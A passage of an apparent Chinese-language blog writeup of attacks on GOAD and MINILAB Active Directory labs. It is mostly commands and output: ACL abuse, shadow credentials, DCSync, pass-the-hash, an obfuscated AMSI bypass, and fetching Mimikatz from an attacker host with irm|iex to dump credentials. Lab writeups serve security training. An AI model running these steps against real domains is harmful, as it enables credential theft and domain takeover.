ec6642c85fd5fea5b1a5a0694aab6a619f99fccda5a5ba7de4e7c53dcefe5f3cc11f4f5da428bc18ec4b8f70d5d556b7c15c8c3bf2d5550bb76ae740b28727b84f7ec1f168147bd87ea0d28b41c59ca61b1305119236eaa343c\n[VERBOSE] SPN removed successfully for (joffrey.baratheon)<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>WriteDacl<\/code> to TYRON.LANNISTER \uff1a<br>joffrey.baratheon \u6709\u6b0a\u9650\u6539 ACL \uff0c \u90a3\u5c31\u5c07\u539f\u672c\u7684 <code>WriteDacl<\/code> \u8b8a\u6210 <code>GenericAll<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' add genericall 'TYRON.LANNISTER' 'joffrey.baratheon'\n[+] joffrey.baratheon has now GenericAll on TYRON.LANNISTER<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e4b\u5f8c\u518d\u6539\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' set password 'TYRON.LANNISTER' 'P@$$w0rd'\n[+] Password changed successfully!<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>AddSelf<\/code> to SMALL COUNCIL group\uff1a<br>\u628a\u81ea\u5df1\u52a0\u9032\u53bb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'SMALL COUNCIL' TYRON.LANNISTER\n[+] TYRON.LANNISTER added to SMALL COUNCIL<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>AddMember<\/code> to DRAGONSTONE group\uff1a<br>\u9032\u5230 SMALL COUNCIL group \u5f8c\u6709\u6b0a\u9650\u518d\u628a\u81ea\u5df1\u52a0\u9032\u53bb DRAGONSTONE group<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'DRAGONSTONE' TYRON.LANNISTER\n[+] TYRON.LANNISTER added to DRAGONSTONE<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>WriteOwner<\/code> to KINGSGUARD group\uff1a<br>\u5148\u5c07\u81ea\u5df1\u8a2d\u70ba owner<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set owner KINGSGUARD TYRON.LANNISTER\n[+] Old owner S-1-5-21-3054539889-205875298-3539716541-1000 is now replaced by TYRON.LANNISTER on KINGSGUARD<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u6539\u5c0d\u8a72 group \u6b0a\u9650\u70ba <code>GenericAll<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add genericall KINGSGUARD TYRON.LANNISTER\n[+] TYRON.LANNISTER has now GenericAll on KINGSGUARD<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u4e86 <code>GenericAll<\/code> \u5f8c\u5c07\u81ea\u5df1\u52a0\u9032\u53bb\u90a3\u500b group<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember KINGSGUARD TYRON.LANNISTER\n[+] TYRON.LANNISTER added to KINGSGUARD<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>GenericAll<\/code> to STANNIS.BARATHEON\uff1a<br>\u6539\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set password STANNIS.BARATHEON 'P@$$w0rd'\n[+] Password changed successfully!<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><code>GenericAll<\/code> to KINGSLANDING$ computer account\uff1a<br>\u62ff\u5230 STANNIS.BARATHEON \u5e33\u865f\u5f8c\uff0c\u5229\u7528 shadow credentials \u62ff\u5230 KINGSLANDING$ \u7684 TGT\u3001credential cache<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ certipy-ad shadow auto -u 'STANNIS.BARATHEON@sevenkingdoms.local' -p 'P@$$w0rd' -account 'KINGSLANDING$' -dc-ip 192.168.56.10\nCertipy v5.1.0 - by Oliver Lyak (ly4k)\n\n[*] Targeting user 'KINGSLANDING$'\n[*] Generating certificate\n[*] Certificate generated\n[*] Generating Key Credential\n[*] Key Credential generated with DeviceID '3117ccb6539440819fd1e6e3c8b5743c'\n[*] Adding Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'\n[*] Successfully added Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'\n[*] Authenticating as 'KINGSLANDING$' with the certificate\n[*] Certificate identities:\n[*]     No identities found in this certificate\n[*] Using principal: 'kingslanding$@sevenkingdoms.local'\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saving credential cache to 'kingslanding.ccache'\n[*] Wrote credential cache to 'kingslanding.ccache'\n[*] Trying to retrieve NT hash for 'kingslanding$'\n[*] Restoring the old Key Credentials for 'KINGSLANDING$'\n[*] Successfully restored the old Key Credentials for 'KINGSLANDING$'\n[*] NT hash for 'KINGSLANDING$': e2c3655173062c11d8597e9d3bb27081<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">export kerberos credential cache<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ export KRB5CCNAME=$(pwd)\/kingslanding.ccache\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ klist\nTicket cache: FILE:\/home\/kali\/mini\/kingslanding.ccache\nDefault principal: kingslanding$@SEVENKINGDOMS.LOCAL\n\nValid starting       Expires              Service principal\n08\/13\/2026 00:09:33  08\/13\/2026 10:09:33  krbtgt\/SEVENKINGDOMS.LOCAL@SEVENKINGDOMS.LOCAL\n        renew until 08\/14\/2026 00:09:33<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528 KINGSLANDING$ \u7684 TGT \uff0c DCSync \u62ff\u5230 administrator \u7684 HT hash \u5f8c\u9a57\u8b49\u53ef\u767b\u5165 Pwn3d!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ impacket-secretsdump -k -no-pass -just-dc-user Administrator -dc-ip 192.168.56.10 'sevenkingdoms.local\/KINGSLANDING$@KINGSLANDING.sevenkingdoms.local'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::\n[*] Kerberos keys grabbed\nAdministrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827\nAdministrator:aes128-cts-hmac-sha1-96:0c72a36a70f696fbee13a25fd3412d43\nAdministrator:des-cbc-md5:7f2cd0836164e592\n[*] Cleaning up...\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ nxc winrm '192.168.56.10' -u administrator -H c66d72021a2d4744409969a581a1705e -x \"whoami &amp;&amp; hostname\"\nWINRM       192.168.56.10   5985   KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 (name:KINGSLANDING) (domain:sevenkingdoms.local)\nWINRM       192.168.56.10   5985   KINGSLANDING     [+] sevenkingdoms.local\\administrator:c66d72021a2d4744409969a581a1705e (Pwn3d!)\nWINRM       192.168.56.10   5985   KINGSLANDING     [+] Executed command (shell type: cmd)\nWINRM       192.168.56.10   5985   KINGSLANDING     sevenkingdoms\\administrator\nWINRM       192.168.56.10   5985   KINGSLANDING     kingslanding<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">MINILAB<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>recon<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/MINILAB]\n\u2514\u2500$ sudo nmap -sn -T5 192.168.56.0\/24\nStarting Nmap 7.99 ( https:\/\/nmap.org ) at 2026-08-16 06:08 -0400\nNmap scan report for 192.168.56.30\nHost is up (0.00063s latency).\nMAC Address: 08:00:27:A4:32:69 (Oracle VirtualBox virtual NIC)\nNmap scan report for 192.168.56.31\nHost is up (0.00048s latency).\nMAC Address: 08:00:27:A2:BA:25 (Oracle VirtualBox virtual NIC)\nNmap scan report for 192.168.56.100\nHost is up (0.000084s latency).\nMAC Address: 08:00:27:45:88:DE (Oracle VirtualBox virtual NIC)\nNmap scan report for 192.168.56.1\nHost is up.\nNmap done: 256 IP addresses (4 hosts up) scanned in 2.77 seconds<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">recon target machine <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/MINILAB]\n\u2514\u2500$ sudo nmap -sS -Pn -p- -T5 192.168.56.31 192.168.56.30\nStarting Nmap 7.99 ( https:\/\/nmap.org ) at 2026-08-16 06:17 -0400\nNmap scan report for 192.168.56.31\nHost is up (0.0013s latency).\nNot shown: 65517 closed tcp ports (reset)\nPORT      STATE SERVICE\n135\/tcp   open  msrpc\n139\/tcp   open  netbios-ssn\n445\/tcp   open  microsoft-ds\n3389\/tcp  open  ms-wbt-server\n5040\/tcp  open  unknown\n5985\/tcp  open  wsman\n5986\/tcp  open  wsmans\n7680\/tcp  open  pando-pub\n47001\/tcp open  winrm\n49664\/tcp open  unknown\n49665\/tcp open  unknown\n49666\/tcp open  unknown\n49667\/tcp open  unknown\n49668\/tcp open  unknown\n49671\/tcp open  unknown\n49672\/tcp open  unknown\n49702\/tcp open  unknown\n53422\/tcp open  unknown\nMAC Address: 08:00:27:A2:BA:25 (Oracle VirtualBox virtual NIC)\n\nNmap scan report for 192.168.56.30\nHost is up (0.00098s latency).\nNot shown: 65513 filtered tcp ports (no-response)\nPORT      STATE SERVICE\n53\/tcp    open  domain\n88\/tcp    open  kerberos-sec\n135\/tcp   open  msrpc\n139\/tcp   open  netbios-ssn\n389\/tcp   open  ldap\n445\/tcp   open  microsoft-ds\n464\/tcp   open  kpasswd5\n593\/tcp   open  http-rpc-epmap\n636\/tcp   open  ldapssl\n3268\/tcp  open  globalcatLDAP\n3269\/tcp  open  globalcatLDAPssl\n3389\/tcp  open  ms-wbt-server\n5985\/tcp  open  wsman\n5986\/tcp  open  wsmans\n9389\/tcp  open  adws\n49666\/tcp open  unknown\n49670\/tcp open  unknown\n49671\/tcp open  unknown\n49673\/tcp open  unknown\n49674\/tcp open  unknown\n49681\/tcp open  unknown\n49688\/tcp open  unknown\nMAC Address: 08:00:27:A4:32:69 (Oracle VirtualBox virtual NIC)\n\nNmap done: 2 IP addresses (2 hosts up) scanned in 62.54 seconds<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u5e36\u4efb\u4f55 credential \u5617\u8a66 access smb \uff0c \u62ff\u5230\u5e33\u5bc6 bob\/superman<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/MINILAB]\n\u2514\u2500$ nxc smb 192.168.56.0\/24 -u '' -p '' --users\nSMB         192.168.56.31   445    WS               [*] Windows 10 \/ Server 2019 Build 19041 x64 (name:WS) (domain:mini.lab) (signing:False) (SMBv1:None)\nSMB         192.168.56.31   445    WS               [-] mini.lab\\: STATUS_ACCESS_DENIED\nSMB         192.168.56.30   445    DC               [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:DC) (domain:mini.lab) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.30   445    DC               [+] mini.lab\\:\nSMB         192.168.56.30   445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-\nSMB         192.168.56.30   445    DC               Guest                         &lt;never&gt;             2       Built-in account for guest access to the computer\/domain\nSMB         192.168.56.30   445    DC               bob                           2026-08-16 09:52:21 0       (Password : superman)\nSMB         192.168.56.30   445    DC               dave                          2026-08-16 09:52:54 0       -\nSMB         192.168.56.30   445    DC               [*] Enumerated 3 local users: MINILAB\nRunning nxc against 256 targets \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501 100% 0:00:00<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">winrm login ws machine \uff0c\u5148 bypass ExecutionPolicy\uff0c\u767c\u73fe\u6709 defender \u4e1f amsi.fail bypass \u6389\u3002\u7528 mimikatz \u767c\u73fe carol \u7684 NT hash<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ evil-winrm -u 'bob' -p 'superman' -i '192.168.56.31'\n\nEvil-WinRM shell v3.9\n\nWarning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline\n\nData: For more information, check Evil-WinRM GitHub: https:\/\/github.com\/Hackplayers\/evil-winrm#Remote-path-completion\n\nInfo: Establishing connection to remote endpoint\n*Evil-WinRM* PS C:\\Users\\bob\\Documents&gt; Set-ExecutionPolicy Bypass -Scope Process -Force\n\n*Evil-WinRM* PS C:\\Users\\bob\\Documents&gt; irm http:\/\/192.168.56.1:8000\/Invoke-Mimikatz.ps1 | iex\nAt line:1 char:1\n+ irm http:\/\/192.168.56.1:8000\/Invoke-Mimikatz.ps1 | iex\n+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nThis script contains malicious content and has been blocked by your antivirus software.\n    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException\n    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand\n*Evil-WinRM* PS C:\\Users\\bob\\Documents&gt; # Stub: MattGRef02\n&amp; {$dawTG=[aPpdOmAiN]::cuRrEntdomAIN.getAsSEmBlIeS()|whErE-OBJect{$_.LOcaTiON -AnD $_.lOCATiON.ENDSWiTH('System.Management.Automation.dll')};[sYsTEm.tHREADINg.THREAD]::sLeEP(164);$lfoSq=[SYsTeM.rEfLeCtIon.biNDINGfLAGS]'NonPublic,Static';$iJMxA44zDL3S='x2tmfma9xasEd';$ylW93=$DAwTg.gEtTyPeS()|wHEre-oBJect{$_.nAMe -eq $(([SYsTeM.tEXT.enCoDINg]::asCII.geTstRiNG([ByTe[]]((5+60),((53+56)),((92+23)),(5+100),(0x4dD -bXoR 0X488),(0XdA1B -BXor 0XDa6f),(55+50),(108+60-60),(115*23\/23)))))};[SystEm.THREaDing.thrEad]::SLeEp(167);$_QuVb=$YLw93.GETfIeLd($([STRiNg][CHaR](65+32)+[ChAR](52+57)+[cHAR](24+91)+[Char]([bYtE]0X69)+[Char]([byTE]0x43)+[CHar](54+57)+[cHAR]([byte]0X6E)+[char]([ByTe]0X74)+[ChAr](0X8A1 -BXor 0X8C4)+[CHAR]([bYtE]0X78)+[ChAR](0x4e5 -BXor 0x491)),$lfOSq).gETvAlUe($nulL);$ebgN_iFN='RrQWypqp';[sysTEM.ruNtIme.iNterOpSERVicEs.MARSHAL]::wrITeint32($_qUvB,0x2F2399Ee)}\n\n*Evil-WinRM* PS C:\\Users\\bob\\Documents&gt;\n*Evil-WinRM* PS C:\\Users\\bob\\Documents&gt; irm http:\/\/192.168.56.1:8000\/Invoke-Mimikatz.ps1 | iex\n*Evil-WinRM* PS C:\\Users\\bob\\Documents&gt; Invoke-Mimikatz -Command \"sekurlsa::logonpasswords\"\nHostname: ws.mini.lab \/ S-1-5-21-1279764897-1238047877-2696394337\n\n  .#####.   mimikatz 2.2.0 (x64) #19041 Nov 20 2021 08:28:06\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n ## \/ \\ ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ## \\ \/ ##       &gt; https:\/\/blog.gentilkiwi.com\/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        &gt; https:\/\/pingcastle.com \/ https:\/\/mysmartlogon.com ***\/\n\nmimikatz(powershell) # sekurlsa::logonpasswords\n\nAuthentication Id : 0 ; 2844604 (00000000:002b67bc)\nSession           : NetworkCleartext from 0\nUser Name         : carol\nDomain            : MINILAB\nLogon Server      : DC\nLogon Time        : 8\/29\/2026 6:35:07 PM\nSID               : S-1-5-21-1279764897-1238047877-2696394337-1109\n        msv :\n         [00000003] Primary\n         * Username : carol\n         * Domain   : MINILAB\n         * NTLM     : c22b315c040ae6e0efee3518d830362b\n         * SHA1     : e18db28dd5cb56dfaed12a2efbbddd1ce5e8006b\n         * DPAPI    : 3118cee831b8c744a79d10a7423ec7d1\n        tspkg :\n        wdigest :\n         * Username : carol\n         * Domain   : MINILAB\n         * Password : (null)\n        kerberos :\n         * Username : carol\n         * Domain   : MINI.LAB\n         * Password : (null)\n        ssp :\n        credman :\n        cloudap :       KO<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>on kali<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ cd -\n\/usr\/share\/powershell-empire\/empire\/test\/data\/module_source\/credentials\n\n\u250c\u2500\u2500(kali\u327fkali)-[\/usr\/\u2026\/test\/data\/module_source\/credentials]\n\u2514\u2500$ l\nInvoke-InternalMonologue.ps1  Invoke-Kerberoast.ps1  Invoke-Mimikatz.ps1\n\n\u250c\u2500\u2500(kali\u327fkali)-[\/usr\/\u2026\/test\/data\/module_source\/credentials]\n\u2514\u2500$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...\n192.168.56.31 - - [29\/Aug\/2026 21:34:12] \"GET \/Invoke-Mimikatz.ps1 HTTP\/1.1\" 200 -<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5617\u8a66\u5df2 carol access DC \uff0c Pwned !<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nxc smb 192.168.56.30 -u carol -H c22b315c040ae6e0efee3518d830362b\nSMB         192.168.56.30   445    DC               [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:DC) (domain:mini.lab) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.30   445    DC               [+] mini.lab\\carol:c22b315c040ae6e0efee3518d830362b (Pwn3d!)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>GOAD-Light \u533f\u540d\u679a\u8209\u9019\u5169\u500b d [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"disabled","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-766","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>GOAD writeup &amp; infra - my article<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/\" \/>\n<meta property=\"og:locale\" content=\"zh_TW\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"GOAD writeup &amp; infra - my article\" \/>\n<meta property=\"og:description\" content=\"GOAD-Light \u533f\u540d\u679a\u8209\u9019\u5169\u500b d [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/\" \/>\n<meta property=\"og:site_name\" content=\"my article\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-13T06:17:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-18T05:35:21+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png\" \/>\n\t<meta property=\"og:image:width\" content=\"813\" \/>\n\t<meta property=\"og:image:height\" content=\"285\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"chengyunpu\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005:\" \/>\n\t<meta name=\"twitter:data1\" content=\"chengyunpu\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9810\u4f30\u95b1\u8b80\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 \u5206\u9418\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\"},\"author\":{\"name\":\"chengyunpu\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\"},\"headline\":\"GOAD writeup &amp; infra\",\"datePublished\":\"2026-08-13T06:17:06+00:00\",\"dateModified\":\"2026-09-18T05:35:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\"},\"wordCount\":201,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\"},\"image\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\",\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\",\"name\":\"GOAD writeup &amp; infra - my article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"datePublished\":\"2026-08-13T06:17:06+00:00\",\"dateModified\":\"2026-09-18T05:35:21+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#breadcrumb\"},\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#primaryimage\",\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"contentUrl\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/image-3.png\",\"width\":813,\"height\":285},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/2026\\\/08\\\/13\\\/goad-writeup-infra\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\